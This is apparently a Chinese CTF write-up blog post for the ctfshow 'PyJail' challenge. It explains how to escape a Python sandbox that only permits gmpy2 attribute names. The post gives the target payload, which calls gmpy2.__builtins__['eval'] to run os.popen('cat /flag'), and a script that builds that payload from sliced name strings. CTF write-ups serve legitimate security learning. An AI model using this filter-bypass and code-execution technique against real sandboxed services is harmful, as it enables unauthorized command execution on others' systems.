ctfshow菜狗杯算力升级(PyJail)

考点:python沙箱逃逸

推荐文章:春哥-----https://zhuanlan.zhihu.com/p/578966149

该题目主要是绕过

pattern=re.compile(r'\w+')
code=request.form.get('code')
    for item in pattern.findall(code):#从code里把单词拿出来
        if not re.match(r'\d+$',item):#如果不是数字
            if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
               return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})

注意:request.form.get可不是获取get请求的数据。

该题目主要利用了符合上面规定的字符串拼接出:

gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

下面附上官方wp脚本。

s="__import__('os').popen('cat /flag').read()"

import gmpy2

payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("

for i in s:
        if i not in "/'(). ":
                temp_index=0
                temp_string='x'*20
                for j in dir(gmpy2):
                        if j.find(i)>=0:
                                if len(j)<len(temp_string):
                                        temp_string=j
                                        temp_index=j.find(i)
                payload+=f'\'{temp_string}\'[{temp_index}]+'
        else:
                payload+=f'\"{i}\"+'

payload=payload[:-1]+')'

print(payload)

更多细节可参考yu师傅blog

posted @ 2022-11-14 11:08  hithub  阅读(498)  评论(0编辑  收藏  举报